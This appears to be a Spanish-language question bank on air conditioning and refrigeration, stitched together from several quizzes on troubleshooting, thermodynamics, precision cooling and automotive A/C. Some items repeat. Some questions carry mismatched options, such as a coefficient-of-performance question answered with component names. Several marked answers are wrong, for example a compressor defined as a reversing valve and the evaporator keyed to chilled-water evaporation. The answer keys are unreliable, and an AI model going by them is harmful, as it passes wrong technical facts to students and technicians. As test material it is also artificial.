- [ ] Checar características del sistema y definir cuál es el compresor que se debe emplear.
- [ ] Todos los anteriores.
- [ ] Ninguna de las anteriores.
### 2. El equipo no enfría
- [ ] Limpiar los filtros.
- [ ] Sacar los filtros de aire despacio y lavarlos con agua y jabón.
- [ ] Asegurarse de no tocar la aleta de la unidad interior.
- [ ] Nunca usar agua a más de 45 ºC para limpiar.
- [ ] Todos los anteriores.
### Compresor defectuoso
- [ ] Verificar resistencias de bobinas con especificaciones del fabricante y aislamiento a tierra.
- [ ] Probar si arranca aplicando la tensión correcta directamente a bornes.
- [ ] Incorporar un regulador de tensión.
- [ ] Todos los anteriores.
- [ ] Ninguna de las anteriores.
### 4. Baja tensión o tensión incorrecta
- [ ] Incorporar un regulador de tensión.
- [ ] Verificar conexiones de acuerdo con el diagrama eléctrico.
- [ ] Arrancar el compresor y comprobar parámetros eléctricos.
- [ ] Todos los anteriores.
- [ ] Ninguna de las anteriores.
### Goteo de agua desde el panel frontal
- [ ] Corregir la posición de la unidad, de manera que se incline levemente hacia abajo en la parte exterior y el agua corra hacia el exterior de la casa.
- [ ] Verificar que no haya orificios por donde pueda haber filtración.
- [ ] Revisar si hay fugas de refrigerante.
- [ ] Asegurarse de que el condensador no se encuentre obstruido por plantas y de que sus aletas no estén gravemente dañadas o torcidas.
e) Todos los anteriores.
### 6. El sensor del termostato o el de temperatura falla
- [ ] Revisar el sensor del termostato para asegurarse de que esté posicionado de manera correcta, cerca del serpentín del evaporador.
- [ ] Asegurarse de que ni el termostato ni ninguna parte del panel frontal estén obstruidos por cortinas.
- [ ] Revisar si hay fugas de refrigerante.
- [ ] Asegurarse de que el condensador no se encuentre obstruido por plantas y de que sus aletas no estén gravemente dañadas o torcidas.
- [ ] Todos los anteriores.
### 1) ¿Cuál es el voltaje requerido por la mayoría de los aires acondicionados de ventana?
- [ ] 110 volts
- [ ] 220 volts
- [ ] 120 volts
- [ ] 240 volts
### 2) ¿Cuántos amperes puede manejar un circuito normal en el que funcionan la mayoría de los aires acondicionados de ventana?
- [ ] 10 amperes
- [ ] 14 amperes
- [ ] 16 amperes
- [ ] 20 amperes
### 3) Si se necesita un circuito más grande para aires acondicionados más grandes, qué cantidad de amperes se recomienda instalar?
- [ ] 10 amperes
- [ ] 15 amperes
- [ ] 20 amperes
- [ ] 25 amperes
### 4) ¿Cuál es una posible causa de tener gas instantáneo en la línea de líquido?
- [ ] Exceso de refrigerante
- [ ] Carga de refrigerante insuficiente
- [ ] Caída excesiva de presión en la línea debido a fricción del fluido
- [ ] Insuficiente height vertical de la línea de líquido
### 5) ¿Cuál es uno de los varios métodos para cargar un sistema de refrigeración con refrigerante?
- [ ] Enfriar el refrigerante a 2 °C (a plena carga si es posible)
- [ ] Enfriar el refrigerante a 6 °C (a plena carga si es posible)
- [ ] Sub-enfriar el refrigerante en 6-10°C
- [ ] Enfriar el refrigerante a 10 °C (a plena carga si es posible)
### 1. ¿Cuál es la posibilidad de golpes de líquido por sobrecarga de aceite en el compresor?
- [ ] Ninguna
- [ ] Pequeña
- [ ] Media
- [ ] Alta
### 2. ¿Cómo afecta el exceso de aceite en el evaporador la velocidad de evaporación del refrigerante?
- [ ] No tiene efecto
- [ ] La acelera
- [ ] Se vuelve más rápida
- [ ] Se hace más lenta
### 3. ¿Cuál es la mejor forma de cargar refrigerante en sistemas con tubo capilar?
- [ ] Método del enfriamiento determinado en las tablas disponibles de los fabricantes de válvulas
- [ ] Método del sobrecalentamiento
- [ ] Método del subenfriamiento
- [ ] Método de la mirilla
### 4. ¿Cuál es la temperatura óptima al cargar refrigerante en sistemas con válvulas de termo-expansión y sin tanque recibidor?
- [ ] 5.5°C más que la temperatura de condensación
- [ ] 5.5°C menos que la temperatura de condensación
- [ ] Igual a la temperatura de condensación
- [ ] No hay temperatura óptima
### 5. ¿Cuál es el método recomendado para cargar refrigerante en sistemas con VTE y tanque recibidor?
- [ ] Método del enfriamiento
- [ ] Método del sobrecalentamiento
- [ ] Método del subenfriamiento
- [ ] Método de la mirilla
### 6. ¿Cuál de las siguientes soluciones es adecuada para la sobrecarga de aceite en un sistema?
- [ ] Cargar más aceite para equilibrar la sobrecarga
- [ ] Cargar refrigerante a los niveles apropiados
- [ ] No hacer nada, no será un problema grave
- [ ] Aumentar la cantidad de refrigerante sin considerar los niveles adecuados
- [ ] Se hace más lenta
- [ ] Método del enfriamiento determinado en las tablas disponibles de los fabricantes de válvulas
- [ ] 5.5°C menos que la temperatura de condensación
- [ ] Método de la mirilla
- [ ] Cargar refrigerante a los niveles apropiados
### 1) ¿Cuál es la causa principal del exceso de aceite en el evaporador?
- [ ] Falta de mantenimiento
- [ ] Equipo defectuoso
- [ ] Velocidad de evaporación superior a la recomendada
- [ ] La combinación de aceite y refrigerante
### 2) Qué efecto tiene el exceso de aceite en el evaporador sobre la velocidad de evaporación del refrigerante?
- [ ] Aumenta la velocidad de evaporación
- [ ] No afecta la velocidad de evaporación
- [ ] Disminuye la velocidad de evaporación
- [ ] Cambia la velocidad de evaporación
### 3) ¿Qué solución se propone para corregir la acumulación excesiva de aceite en el evaporador?
- [ ] Aumentar la temperatura del aire refrigerado
- [ ] Disminuir la cantidad de refrigerante
- [ ] Ajustar la presión del compresor
- [ ] Modificar la tubería de succión y proporcionar un adecuado retorno de aceite, o instalar un separador de aceite
### 4) ¿Qué se debe hacer una vez finalizada la revisión del equipo?
- [ ] No hacer nada, los equipos funcionarán perfectamente
- [ ] Realizar pruebas para verificar su correcto funcionamiento
- [ ] Instalar un separador de aceite en todas las máquinas
- [ ] Reparar todas las tuberías
### 5) Si persisten cualquiera de estas principales fallas en los equipos de aire acondicionado, ¿qué debe hacer el usuario?
- [ ] Utilizar más aire acondicionado para superar el problema
- [ ] Hacer una donación para ayudar a los técnicos especialistas
- [ ] Contactar a un técnico especialista para realizar un diagnóstico más a fondo
- [ ] Esperar a que el problema se solucione solo
### Otra página ajena a la teoría dada en clase: El principio de operación de un aire acondicionado es:
- [ ] Transferencia de frío
- [x] Transferencia de calor
- [ ] Transferencia de temperatura
- [ ] Transferencia de presión
### Cuáles son las tres formas principales de transferencia de calor?
- [ ] Conducción, convección e inducción
- [ ] Conducción, evaporación y radiación
- [ ] Congelación, convección y radiación
- [x] Conducción, convección y radiación
### La carga térmica total de un recinto corresponde a:
- [ ] La sumatoria de los caudales de aire que afectan en un recinto.
- [ ] La sumatoria de la energía emitida por los equipos electrónicos en un recinto.
- [ ] La sumatoria de la energía emitida por las personas que habitan un recinto.
- [x] La sumatoria de la energía emitida por todas las fuentes de calor que afectan un recinto.
### Cuál de las siguientes caractéristicas corresponde a un aire acondicionado de precisión?
- [ ] Prioridad de climatizar sitios donde hay equipos eléctricos y electrónicos.
- [ ] Su relación de calor sensible y latente es aprox. de 95% sensible, 5% latente.
- [ ] Tiene un control de humedad +/- 5% HR
- [x] Todas las anteriores.
### Cuáles son las principales funciones del aire acondicionado de presión?
- [ ] Controlar la temperatura y la humedad.
- [ ] Controlar la limpieza del cuarto.
- [ ] Entregar un caudal adecuado para el movimiento del aire.
- [x] Todas las anteriores.
### Cuál es la misión del aire acondicionado de precisión?
- [ ] Controlar la temperatura de un recinto.
- [ ] Controlar la humedad de un recinto.
- [ ] Enfriar los equipos críticos que están instalados en un recinto.
- [x] Controlar y mantener constante la temperatura y la humedad en un recinto.
### Indique el nombre del siguiente elemento:
- [x] Intercambiador de calor
- [ ] Radiador de temperatura
- [ ] Torre de enfriamiento
- [ ] Filtro de aire
### El principio de operación de un aire acondicionado es:
- [ ] Transferencia de frío
- [x] Transferencia de calor
- [ ] Transferencia de temperatura
- [ ] Transferencia de presión
### Una de las funciones de la válvula de expansión es:
- [ ] Regular la cantidad de refrigerante que ingresa al condensador.
- [ ] Regular la cantidad de refrigerante que ingresa al compresor.
- [x] Regular la cantidad de refrigerante que ingresa al evaporador.
- [ ] Regular la cantidad de refrigerante que ingresa al filtro deshidratador.
### Indiqué cual es la función de un motorcompresor.
- [ ] Comprimir y movilizar el agua en un sistema de refrigeración.
- [x] Comprimir y movilizar el gas refrigerante en un sistema de refrigeración.
- [ ] Comprimir y movilizar el líquido refrigerante en un sistema de refrigeración.
- [ ] Comprimir y movilizar el aire frío en un sistema de refrigeración.
### Indique para que funciona un ventilador del aire acondicionado
- [ ] Movilizar el líquido refrigerante en un sistema de refrigeración.
- [x] Forzar el movimiento del aire a través de los intercambiadores de calor.
- [ ] Forzar y movilizar el gas refrigerante a través de los intercambiadores de calor.
- [ ] Ninguna de las anteriores.
### Del siguiente diagrama, indique el orden correcto del recorrido del refrigerante en el sistema de refrigeración
- [ ] Evaporador, válvula de expansión, condensador, compresor.
- [ ] Compresor, evaporador, válvula de expansión, condensador.
- [x] Compresor, condensador, válvula de expansión, evaporador.
- [ ] Condensador, válvula de expansión, compresor, evaporador.
### El siguiente esquema corresponde a:
- [x] Conjunto evaporadora y condensadora de expansión directa.
- [ ] Conjunto manejadora y condensadora de expansión directa.
- [ ] Conjunto evaporadora y condensadora de agua helada.
- [ ] Conjunto manejadora y chiller de expansión directa.
### El siguiente sistema corresponde a:
- [ ] Sistema de agua helada condensado por agua.
- [x] Sistema de agua helada condensado por aire.
- [ ] Sistema de expansión directa condensado por aire.
- [ ] Sistema de expansión directa condensado por agua.
### Indique dos procesos para el control de humedad de un aire acondicionado de precisión:
- [ ] Deshumidificación y expansión.
- [x] Humidificación y compresión.
- [ ] Condensación y deshumidificación.
- [ ] Humidificación y deshumidificación.
### Si un aire acondicionado de precisión modelo CRV tiene en su dato de placa una carga de refrigeración de 35 kW, ésta potencia de enfriamiento corresponde a:
- [ ] Carga de refrigeración neta.
- [ ] Carga de refrigeración sensible.
- [ ] Carga de refrigeración latente.
- [ ] Carga de refrigeración instantánea.
### Una de las funciones del visor de líquido es indiciar la presencia de humedad en el líquido refrigerante.
- [x] Verdadero
- [ ] Falso
### El esquema de la unidad indicada en la imagen corresponde a un sistema de expansión directa. Esta aseveración es:
- [ ] Verdadera
- [x] Falsa
### En el diagrama de Presión-Entalpía (Mollier), el punto rojo indica que el refrigerante se encuentra en la siguiente condición:
- [ ] Líquido comprimido
- [ ] Líquido-vapor
- [ ] Vapor saturado
- [ ] Vapor sobrecalentado
### La unidad evaporadora tiene ese nombre debido a que se da la siguiente condición:
- [ ] Evaporación del gas refrigante.
- [x] Evaporación del agua helada.
- [ ] Evaporación de la humedad del aire.
- [ ] Evaporación del líquido refrigerante.
### En la unidad condensadora se presenta el siguiente proceso:
- [ ] El refrigerante pasa de líquido a gas.
- [x] El refrigerante pasa de gas a líquido.
- [ ] El agua helada pasa de gas a líquido.
- [ ] El agua helada pasa de líquido a gas.
### El modelo de aire acondicionado de la imagen corresponde a:
- [ ] Minimate
- [x] Datamate
- [ ] CRV
- [ ] PDX
### El aire acondicionado representado en la imagen corresponde a:
- [ ] CRV para climatización en gabinete.
- [x] CRV para climatización perimetral.
- [ ] PDW para climatización en gabinete.
- [ ] PDW para climatización perimetral.
### Para que exista una adecuada transferencia de calor en el intercambiador de un evaporador, se debe presentar la siguiente condición:
- [ ] La temperatura de descarga de aire debe ser mayor que la de retorno
- [x] La temperatura de descarga de aire debe ser menor que la de retorno
- [ ] La temperatura de descarga de aire debe ser igual que la de retorno
- [ ] Ninguna de las anteriores.
### La siguiente distribución de aire corresponde a:
- [ ] Grille
- [x] Under
- [ ] Displacement
- [ ] Over
### Si la densidad de carga en un centro de datos es de 3.5kW y la cantidad de gabinetes es de 70. Cuanto será la carga térmica total de TI estimada?
- [ ] 245 BTU/hr
- [x] 245 kW
- [ ] 245 TON/hr
- [ ] 245 Kj/hr
### Para la latitud de Centro América cuál es la orientación cardinal donde el sol da la mayor incidencia solar?
- [ ] Norte
- [ ] Este
- [x] Sur
- [ ] Oeste
### El sistema VRV de la imagen corresponde a:
- [ ] Sistema para confort de volumen variable de refrigerante.
- [x] Sistema para confort de volumen variable de agua helada
- [ ] Sistema para precisión de volumen variable de refrigerante
- [ ] Sistema para precisión de volumen variable de agua helada.
### El elemento del circuito rojo corresponde a:
- [ ] Chiller
- [x] Torre de enfriamiento
- [ ] Casa de máquinas
- [ ] Tanque de expansión
### ¿Cuál es la función de un aire acondicionado Mini Split? (selección múltiple)
- [x] Extraer el calor del recinto.
- [ ] Congelar el aire
- [x] Extraer humedad del recinto.
- [x] Hacer recircuilación del aire del recinto.
### ¿Cuáles so los tipos de aire acondicionado que existen?
- [x] Tipo Cassette, Portátil y Centralizado
- [x] Tipo Ventana
- [ ] Tipo Convección
- [ ] Tipo Rotofancool
- [x] Tipo Mini Split y Multi Split
### Qué significa mini split?
- [ ] Consiste de un equipo que se coloca en el suelo. Tiene una manguera, la cual sirve para expulsar el aire caliente al exterior a través de una ventana.
- [x] Se traduce literalmente como mini-dividido. Esto se refiere a que consta de 2 unidades: la unidad interior y la unidad exterior.
- [ ] Todos los componentes necesarios del aire acondicionado se encuentran dentro de la caja, motivo por el cual ahorras espacio.
- [ ] Consiste en un sistema de refrigeración mini, que consta de una unidad exterior y varias unidades interiores.
### ¿Cuáles son los principales componentes de un aire acondicionado Mini split?
- [x] Unidad evaporadora y condensadora
- [ ] Condensadora y compresor
- [ ] Evaporadora y gas refrigerante
- [ ] Unidad evaporadora, condensadora, compresor, gas, refrigerante y control remoto.
### ¿Cuáles son las preguntas básicas que se deben hacer en el momento de una asesoría para la venta de un aire acondicionado? (selección múltiple)
- [ ] Altura sobre el nivel del mar
- [ ] Velocidad del ventilador
- [x] Número de personas y equipos electrónicos
- [ ] Cantiddad de baños simultáneos
- [x] Área del recinto (menos cuadrados), tipo de aire requerido
### ¿A cuánto equivale una tonelada de refrigeración en BTU?
- [ ] 18000 BTU
- [ ] 9000 BTU
- [x] 12000 BTU
- [ ] 24000 BTU
### Lea el siguiente enunciado y defina si es falso o verdadero: Cuando calentamos un objeto su temperatura aumenta. El calor y la temperatura están relacionadas entre si, pero son conceptos diferentes. El calor es lo que hace que la temperatura aumente o disminuya. Si añadimos calor, la temperatura aumenta. Si quitamos calor, la temperatura disminuye.
- [ ] Falso
- [x] Verdadero
### ¿Qué es un compresor y cuál es su función en el Climate 8000?
- [ ] Es un componente para aumentar la presión en los gases/ Es el encargado de introducir el refrigerante hacia el condensador.
- [x] Válvula para invertir el sentido de flujo, dependiendo si se desea refrigeración o calefacción.
- [ ] Es una máquina ubicada en la unidad interna de un Aire Acondicionado / Hace ruido.
- [ ] Es un componente para aumentar la presión de los gases / Evaporar el refrigerante.
### Otra página El ciclo de funcionamiento del sistema de refrigeración a base de compresor es:
- [ ] Evaporación, refrigeración y expansión
- [ ] Evaporación, expansión y condensación
- [ ] Evaporación, compresión y condensación
- [ ] Evaporación, compresión y refrigeración
### Los componentes de una instalación frigorífica son:
- [ ] Refrigerador, refrigerante y compresor
- [ ] Evaporador, unidad condensadora y refrigerador
- [ ] Unidad condensadora, refrigerante y evaporador
- [ ] Refrigerador, compresor y unidad condensadora
### Calor latente es:
- [ ] Es la capacidad de un cuerpo para absorber calor
- [ ] Es la energía térmica que cause o produzca un cambio en la temperatura
- [ ] Es la cantidad de calor necesario para un incremento unitario de temperatura cierta cantidad de masa
- [ ] Es la cantidad de calor necesario para cambiar de fase un cuerpo sin alterar su temperatura
### El calor que se transmite por mediación de un agente líquido o vapor se denomina:
- [ ] Transferencia de calor por conducción
- [ ] Transferencia de calor por convección
- [ ] Transferencia de calor por radiación
- [ ] Ninguno de los anteriores
### Los sistemas de producción de frío pueden ser; el de absorción y el de:
- [ ] Compresión mecánica
- [ ] Compresión frigorífica
- [ ] Compresión automática
- [ ] Refrigeración continua
### La sustancia de trabajo es:
- [ ] El fluido, del cual se puede extraer el calor
- [ ] Aquella capaz de transformar el calor en trabajo o el trabajo en calor
- [ ] Aquel fluido compresible, que es capaz de almacenar o ceder energía
- [ ] Ninguna de las anteriores
### Una unidad de calor puede ser:
- [ ] Kgf.m²
- [ ] W.s
- [ ] KJ/h
- [ ] BTU/m
### Calor sensible es:
- [ ] Es la capacidad de un cuerpo para absorber calor
- [ ] Es la energía térmica que cause o produzca un cambio en la temperatura
- [ ] Es la cantidad de calor necesario para un incremento unitario de temperatura cierta cantidad de masa
- [ ] Es la cantidad de calor necesario para cambiar de fase un cuerpo sin alterar su temperatura.
### La ley cero de la termodinámica establece que dos sistemas están en equilibrio:
- [ ] Mecánico
- [ ] Termodinámico
- [ ] Térmico
- [ ] Ninguna de las anteriores
### Los tipos de evaporadores que se utilizan en el automóvil son:
- [ ] De paletas, de tubos / aletas y de placas
- [ ] De serpentín, de tubos / aletas y de engranajes
- [ ] De serpentín, de tubos / aletas y de placas
- [ ] Ninguna de los anteriores
### La Pme viene dado en
- [ ] g/h
- [ ] Kg.m/Kg.°K
- [ ] Pa. abs
- [ ] Kg/m3
### Una de las averías típicas en el evaporador:
- [ ] Perforación debido a la presencia de corrosión
- [ ] Impurezas en los racores de entrada y salida
- [ ] Malos olores en el exterior del vehículo
- [ ] Ninguna de las anteriores
### La máquina de absorción de H2O-LiBr utiliza como absorbente:
- [ ] Agua
- [ ] Cloruro de Litio
- [ ] Bromuro de Litio
- [ ] Amoniaco
### El ciclo transcrítico resulta interesante cuando:
- [ ] Puede utilizarse la entalpia del gas recalentado a la salida del compresor
- [ ] No Puede utilizarse la entalpia del gas recalentado a la salida del compresor
- [ ] Se sustituye la compresión mecánica del vapor
- [ ] Ninguna de las anteriores
### Las propiedades de los refrigerantes se clasifican en:
- [ ] Físicas y térmicas
- [ ] Mecánicas y térmicas
- [ ] Físicas y químicas
- [ ] Térmicas y químicas
### El cambio de fase de una sustancia refrigerante se denomina:
- [ ] Efecto sensible
- [ ] Efecto latente
- [ ] Efecto Joule - Thomson
- [ ] Ninguno de los anteriores
### Cuáles son los agentes contaminantes que pueden existir dentro del habitáculo
- [ ] Agentes infecciosos, agentes orgánicos y agentes tóxicos
- [ ] Agentes orgánicos, agentes alérgicos y agentes tóxicos
- [ ] Agentes orgánicos, agentes infecciosos y agentes alérgicos
- [ ] Agentes infecciosos, agentes alérgicos y agentes tóxicos
### Los métodos frigoríficos son:
- [ ] Refrigeración termoeléctrica y paramagnética
- [ ] De compresión de vapor, de absorción y ciclo de gas
- [ ] Centrífugos y alternativos
- [ ] Ninguno de los anteriores
### Una máquina de absorción puede funcionar:
- [ ] Simple efecto y doble efecto
- [ ] Simple efecto y triple efecto
- [ ] Doble efecto y triple efecto
- [ ] Ninguna de las anteriores
### Los hidrocarburos saturados pueden ser utilizados:
- [ ] Directamente como frigoríficos
- [ ] Directamente como inflamables
- [ ] Directamente como refrigerantes
- [ ] Ninguna de las anteriores
### El frio se define como:
- [ ] La diminución de temperatura
- [ ] La ausencia de calor
- [ ] La diminución de calor
- [ ] Ninguna de las anteriores
### El cero absoluto es igual a:
- [ ] 0 grados Fahrenheit
- [ ] 0 grados centígrados
- [ ] - 273 grados kelvin
- [ ] 0 grados Rankine
### La humedad del ambiente se puede controlar:
- [ ] Humidificando o deshumidificando.
- [ ] Aumentando o disminuyendo la temperatura
- [ ] Aumentando o disminuyendo el calor
- [ ] Ninguna de las anteriores
### Al encender el aire acondicionado:
- [ ] Se aumenta la potencia del motor
- [ ] Se mantiene igual la potencia del motor
- [ ] Disminuye la potencia del motor
- [ ] Ninguna de las anteriores
### Con el aire acondicionado encendido:
- [ ] No se consume más gasolina
- [ ] Si se consume más gasolina
- [ ] Se mantiene el consumo de gasolina
- [ ] Ninguna de las anteriores
### El sistema de aire acondicionado:
- [ ] Aumenta la vida del motor
- [ ] Disminuye la vida del motor
- [ ] No influye en la vida del motor
- [ ] Ninguna de las anteriores
### Uno de los dispositivos que componen el sistema de aire acondicionado es:
- [ ] Motor
- [ ] Radiador
- [ ] Evaporador
- [ ] Ninguna de las anteriores
### Existe diferencia entre ventilación y aire acondicionado?
- [ ] Si
- [ ] No
- [ ] A veces
- [ ] Casi siempre
### El aire acondicionado puede servir como:
- [ ] Desempañador
- [ ] Frigorifico
- [ ] Ventilador
- [ ] Ninguno de los anteriores
### El aire acondicionado es perjudicial para la salud?
- [ ] Si
- [ ] No
- [ ] A veces
- [ ] Casi siempre
### El primer país donde se usó el hielo parare figuración fue:
- [ ] Estados Unidos
- [ ] Japon
- [ ] China
- [ ] Rusia
### El condensador en el sistema de aire acondicionado esta:
- [ ] Entre el compresor y el filtro deshidratante
- [ ] Entre el compresor y el evaporador
- [ ] Entre el evaporador y el filtro deshidratante
- [ ] Entre el compresor y el condensador
### La transformación del fluido frigorífico del estado gaseoso al estado líquido la realiza el:
- [ ] Evaporador
- [ ] Condensador
- [ ] Compresor
- [ ] Filtro deshidratante
### El evaporador en el sistema de aire acondicionado se sitúa:
- [ ] La válvula de expansión y el evaporador
- [ ] Entre el compresor y el filtro deshidratante
- [ ] El filtro deshidratante y la válvula de expansión
- [ ] El líquido de baja presión y el gas de baja presión
### la función de enfriar el aire puesto en movimiento por el impulsor (ventilador centrífugo situado en el
conjunto de distribución de trampillas) y enviado hacia el habitáculo del vehículo la realiza:
- [ ] El evaporador
- [ ] El compresor
- [ ] El condensador
- [ ] El refrigerante
### Cuál es la función del filtro de habitáculo
- [ ] Evitar malos olores en el habitáculo
- [ ] Purificar agentes contaminantes en el refrigerante
- [ ] Retener gran parte de los agentes contaminantes
- [ ] Ninguna de las anteriores
### Cada cuanto tiempo se debe cambiar el filtro de habitáculo
- [ ] Cada 10000 km o cada año
- [ ] Cada 15000 km o cada año
- [ ] Cada 20000 km o cada año
- [ ] Ninguna de las anteriores
### El filtro deshidratante es un depósito de fluido frigorífico en estado líquido que sirve para:
- [ ] Retener el agua susceptible de circular en el circuito de climatización
- [ ] Recircular el agua que se retiene en el circuito de climatización
- [ ] Retener agentes contaminantes en el circuito de climatización
- [ ] Ninguno de los anteriores
### El filtro deshidratante utiliza un:
- [ ] Hidratante
- [ ] Dispositivo Electrónico
- [ ] Dispositivo Eléctrico
- [ ] Desecante
### Una de las partes de una válvula de expansión termostática es:
- [ ] Muelle de reglaje
- [ ] Lóbulo termostático
- [ ] Tubo hermético
- [ ] Filtro
### Una de las averías en la válvula de expansión es:
- [ ] Obstrucción debido a la presencia de humedad o hielo.
- [ ] Bloqueo de membrana de expansión
- [ ] Desgate de cabeza de succión
- [ ] Ninguna de las anteriores
### Al Presostato se le denomina como:
- [ ] Elemento de control del sistema
- [ ] Elemento de accionamiento del sistema
- [ ] Elemento de seguridad del sistema
- [ ] Ninguno de los anteriores
### Entendemos por tensión a:
- [ ] La diferencia de regulación que existe entre distintos aparatos eléctricos
- [ ] La diferencia de potencial que propicia el paso de corriente eléctrica
- [ ] La cantidad de suministro de corriente que ofrece un conductor
- [ ] Ninguna delas anteriores
### Para calcular la sección de los conductores de alimentación del motor se debe:
- [ ] Tener presente la intensidad de arranque
- [ ] Tener presente el contacto con la tensión
- [ ] Tener presente la carga de interruptores magnéticos
- [ ] Ninguna delas anteriores
### El calor sensible generado por las personas que ocupan un local es:
- [ ] 35°C
- [ ] 36°C
- [ ] 37°C
- [ ] 38°C
### Para expresar el frio por unidad de tiempo se utiliza:
- [ ] BTU.h
- [ ] Frigosegundos
- [ ] Joule
- [ ] Ninguna delas anteriores
### Cual no es un tipo principal de compresión
- [ ] De cremallera
- [ ] Centrífugo
- [ ] Scroll
- [ ] Alternativo
### La tensión se mide en:
- [ ] Voltios
- [ ] Amperios
- [ ] Ohmios
- [ ] Watios
### Que se debe hacer para refrigerar un local
- [ ] Introducir frio
- [ ] Igualar temperatura
- [ ] Extraer calor
- [ ] Ninguno de los anteriores
### Se denomina carga térmica al:
- [ ] Calor por unidad de volumen
- [ ] Calor por unidad de masa
- [ ] Calor por unidad de tiempo
- [ ] Ninguna de las anteriores
### Las siglas UTA significan:
- [ ] Unidad de tratamiento de aire
- [ ] Unidad térmica del aire
- [ ] Unidad de tratamiento ambiental
- [ ] Ninguna de las anteriores
### Para saber la DTE de una pared, se necesita saber:
- [ ] La orientación del sol
- [ ] La orientación del muro o pared
- [ ] Si el techo es soleado o en sombra
- [ ] Ninguna de las anteriores
### La potencia nominal es también conocida como:
- [ ] Potencia util
- [ ] Potencia máxima
- [ ] Potencia asignada
- [ ] Ninguna de las anteriores
### Cuál es la posición del acondicionador de aire en la ventana de un dormitorio?
- [ ] Con el condensador hacia adentro
- [ ] Con el condensador hacia afuera
- [ ] En posición vertical
- [ ] Ninguna de ellas.
### Cuando un acondicionador de aire está funcionando el condensador debería estar:
- [ ] Frio
- [ ] Seco
- [ ] Caliente
- [ ] Helado
### Cuál de estas funciones realiza el termostato en el acondicionador de aire?
- [ ] Controla las velocidades del fan evaporador
- [ ] Controla las velocidades del fan condensador
- [ ] Activa la temperatura del motor del compresor
- [ ] Activa la temperatura de la resistencia del descongelamiento.
### La salida de gas del compresor hacia el condensador en un acondicionador de aire es:
- [ ] Alta temperatura baja presión
- [ ] Baja temperatura y alta presión
- [ ] Baja presión y baja temperatura
- [ ] Alta temperatura y alta presión.
### ¿Que función realiza el motor ventilador del evaporador?
- [ ] Envía aire frio hacia el dormitorio
- [ ] Aspira el calor del dormitorio
- [ ] A y B son correctas
- [ ] Ninguna es correcta.
### ¿Qué función realiza el motor compresor en un sistema de refrigeración?
- [ ] Aspira y comprime el gas refrigerante de un sistema
- [ ] Expulsa el aire caliente hacia el medio ambiente
- [ ] Recicla el gas refrigerante
- [ ] Realiza todas las funciones anteriores.
### Marque con una X la correspondencia entre las filas y columnas en la matriz adjunta, correspondientes a un proceso de Refrigeración por compresión de vapor en relación con el esquema representado
- [ ] Compresor
- [ ] Condensador
- [ ] Receptor de líquido
- [ ] Evaporador
### ¿Cuál es el coeficiente máximo de operación del sistema de refrigeración?
- [ ] Compresor
- [ ] Condensador
- [ ] Receptor de líquido
- [ ] Evaporador
### ¿Cuál es la calidad óptima del refrigerante que entra al evaporador?
- [ ] Compresor
- [ ] Condensador
- [ ] Receptor de líquido
- [ ] Evaporador
### ¿Cuál es la máxima cantidad de flujo de frío que se podría extraer?
- [ ] Compresor
- [ ] Condensador
- [ ] Receptor de líquido
- [ ] Evaporador
### En el esquema de refrigeración indique los nombres y las principales características de cada uno de los dispositivos y tipo de fluidos que transportan.
- [ ] Compresor
- [ ] Condensador
- [ ] Receptor de líquido
- [ ] Evaporador
- [ ] Válvula de Expansión
- [ ] Líquido comprimido
- [ ] Vapor Saturado
- [ ] Mezcla Líquido-Vapor
- [ ] Vapor Sobre Calentado
- [ ] Zona de Alta Presión
- [ ] Zona de Baja Presión
- [ ] Zona de Alta Temperatura
- [ ] Zona De Baja Temperatura
### La ... se emplea para extraer calor de un recinto, disipándolo al medio ambiente, con el
propósito de lograr una temperatura menor a la del ambiente para la conservación de alimentos.
- [ ] Aire acondicionado
- [ ] Calefacción
- [ ] Refrigeración
- [ ] Ventilación
### Es el paso de energía térmica desde un cuerpo de mayor temperatura a otro de menor temperatura
- [ ] Transferencia de calor
- [ ] Calor Latente
- [ ] Calor Sensible
- [ ] Ausencia de Calor
### Se caracteriza porque se produce por intermedio de un fluido (aire, agua) que transporta el calor entre zonas con diferentes temperaturas.
- [ ] Ebullición
- [ ] Convección
- [ ] Radiación
- [ ] Conducción
### Se produce a partir de una bomba de calor, para la extracción de calor de cierta área en especifico cuenta con 4 etapas y su funcionamiento es contrario al ciclo original:
- [ ] Ciclo de Carnot Invertido
- [ ] Ciclo de Carnot
- [ ] Ciclo Otto
- [ ] Ciclo Rankine
### Se denomina proceso ... cambio de temperatura reversible en un sistema termodinámico, siendo dicho cambio de temperatura constante en todo el sistema.
- [ ] Isobárico
- [ ] Adiabático
- [ ] Isotérmico
- [ ] isocórico
### Es la propiedad de los cuerpos que determina los intercambios de calor entre ellos y constituye una medida del movimiento molecular de los cuerpos.
- [ ] Calorímetro
- [ ] Termómetro
- [ ] Temperatura
- [ ] Termopar
### es el lugar de la instalación donde se produce el intercambio térmico entre el refrigerante y el medio a enfriar
- [ ] Válvula de expansión
- [ ] Compresor
- [ ] Evaporador
- [ ] Condensador
### es la de controlar el paso de refrigerante y separar la parte de alta con la de baja.
- [ ] Válvula de expansión
- [ ] Compresor
- [ ] Evaporador
- [ ] Condensador
### tiene la función de realizar el cambio de estado del fluido por medio del intercambio de calor.
- [ ] Válvula de expansión
- [ ] Compresor
- [ ] Evaporador
- [ ] Condensador
### es el impulso mecánico que emplea al fluido para elevar la presión del fluido y por consecuencia eleva su temperatura.
- [ ] Válvula de expansión
- [ ] Compresor
- [ ] Evaporador
- [ ] Condensador
### Es una forma de energía debida a la agitación de las moléculas que constituyen una sustancia.
- [ ] Calor
- [ ] caloría
- [ ] temperatura
- [ ] Convección
### BANCO DE PREGUNTAS: Cual es la posición del acondicionador de aire de ventana en un dormitorio
- [ ] Con el condensador hacia afuera.
- [ ] Con el condensador hacia adentro.
- [ ] En posición vertical.
- [ ] Ninguna de ellas.
### Cuando está en funcionamiento un acondicionador de aire el condensador debería estar.
- [ ] Frio.
- [ ] Seco.
- [ ] Caliente.
- [ ] Helado.
### Cuando hay fuga de gas que síntomas presenta el condensador.
- [ ] Emana aire caliente el condensador.
- [ ] El condensador esta tibió o es su ves frio.
- [ ] Se para el motor ventilador.
- [ ] Todas son correctas.
### Cuando hay escarcha en el evaporador de un acondicionador de aire que síntomas presenta.
- [ ] No se
- [ ] Falla en la válvula polgaerdo.
- [ ] Falta de gas refrigerante en el sistema.
- [ ] Ninguna es correcta.
### Cual de estas funciones realiza el termostato en un acondicionador de aire.
- [ ] Controla las velocidades del fan evaporador.
- [ ] Controla las velocidades del fan condensador.
- [ ] Activa por temperatura el motor compresor.
- [ ] Activa por temperatura las resistencias de descongelamiento.
### Cuantos motores ventiladores hay en un acondicionador de aire.
- [ ] 1 motor ventilador.
- [ ] 2 motores ventiladores.
